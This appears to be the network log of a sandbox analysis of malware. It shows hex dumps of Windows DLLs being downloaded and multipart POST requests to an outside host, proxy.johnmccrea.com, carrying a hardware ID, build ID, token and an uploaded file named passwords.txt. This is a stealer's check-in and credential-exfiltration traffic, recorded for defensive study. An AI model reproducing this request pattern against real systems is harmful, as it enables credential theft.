00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 04 Oct 2024 07:52:33 GMTContent-Type: application/octet-streamContent-Length: 257872Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-3ef50"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 04 Oct 2024 07:52:34 GMTContent-Type: application/octet-streamContent-Length: 80880Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-13bf0"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 04 Oct 2024 07:52:34 GMTContent-Type: application/octet-streamContent-Length: 2046288Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTConnection: keep-aliveETag: "6315a9f4-1f3950"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 04 Oct 2024 07:52:42 GMTContent-Type: application/octet-streamContent-Length: 539688Last-Modified: Fri, 04 Oct 2024 07:45:44 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66ff9d28-83c28"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 24 b2 eb 8a 60 d3 85 d9 60 d3 85 d9 60 d3 85 d9 b3 a1 86 d8 6c d3 85 d9 b3 a1 80 d8 ca d3 85 d9 b3 a1 81 d8 75 d3 85 d9 a2 52 81 d8 72 d3 85 d9 a2 52 86 d8 74 d3 85 d9 b3 a1 84 d8 65 d3 85 d9 60 d3 84 d9 39 d3 85 d9 a2 52 80 d8 2e d3 85 d9 93 51 8c d8 61 d3 85 d9 93 51 7a d9 61 d3 85 d9 93 51 87 d8 61 d3 85 d9 52 69 63 68 60 d3 85 d9 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 28 9d ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 c8 01 00 00 5a 06 00 00 00 00 00 66 6f 00 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 08 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 30 6d 02 00 3c 00 00 00 00 30 08 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 16 08 00 28 26 00 00 00 40 08 00 f0 1a 00 00 78 50 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 4f 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 34 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 cc c6 01 00 00 10 00 00 00 c8 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 26 94 00 00 00 e0 01 00 00 96 00 00 00 cc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 b8 a4 05 00 00 80 02 00 00 96 05 00 00 62 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 30 08 00 00 02 00 00 00 f8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 1a 00 00 00 40 08 00 00 1c 00 00 00 fa 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIJJKEGHJJKECBKECFHost: proxy.johnmccrea.comContent-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 43 33 44 38 37 33 31 30 41 30 32 37 34 30 37 32 35 36 30 38 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 48 49 4a 4a 4b 45 47 48 4a 4a 4b 45 43 42 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="hwid"49C3D87310A02740725608-a33c7340-61ca------JEHIJJKEGHJJKECBKECFContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------JEHIJJKEGHJJKECBKECF--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJHost: proxy.johnmccrea.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="mode"1------CAKFIJDHJEGIDHJKKKJJ--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGHHost: proxy.johnmccrea.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 2d 2d 0d 0a Data Ascii: ------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="mode"2------BFIIEHJDBKJKECBFHDGH--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFHIDGIJKJKECBGDBGHHost: proxy.johnmccrea.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 48 49 44 47 49 4a 4b 4a 4b 45 43 42 47 44 42 47 48 2d 2d 0d 0a Data Ascii: ------DAFHIDGIJKJKECBGDBGHContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------DAFHIDGIJKJKECBGDBGHContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------DAFHIDGIJKJKECBGDBGHContent-Disposition: form-data; name="mode"21------DAFHIDGIJKJKECBGDBGH--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJDGDGDHDGDBFIDHDBAHost: proxy.johnmccrea.comContent-Length: 6757Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET //sql.dll HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIIJDAAAAKFHIDAAAKHost: proxy.johnmccrea.comContent-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CAAKKFHCFIECAAAKEGCFHost: proxy.johnmccrea.comContent-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAEHost: proxy.johnmccrea.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 61 65 64 61 37 37 31 62 64 38 61 62 38 30 33 62 31 36 34 66 38 61 34 61 31 62 64 63 62 62 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 36 36 61 63 37 62 64 65 61 66 37 36 33 62 62 61 66 37 30 61 61 36 64 35 36 36 37 63 38 30 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 2d 2d 0d 0a Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"c9aeda771bd8ab803b164f8a4a1bdcbb------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="build_id"566ac7bdeaf763bbaf70aa6d5667c804------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="file_data"------EGIDAAFIEHIEHJKFHCAE--
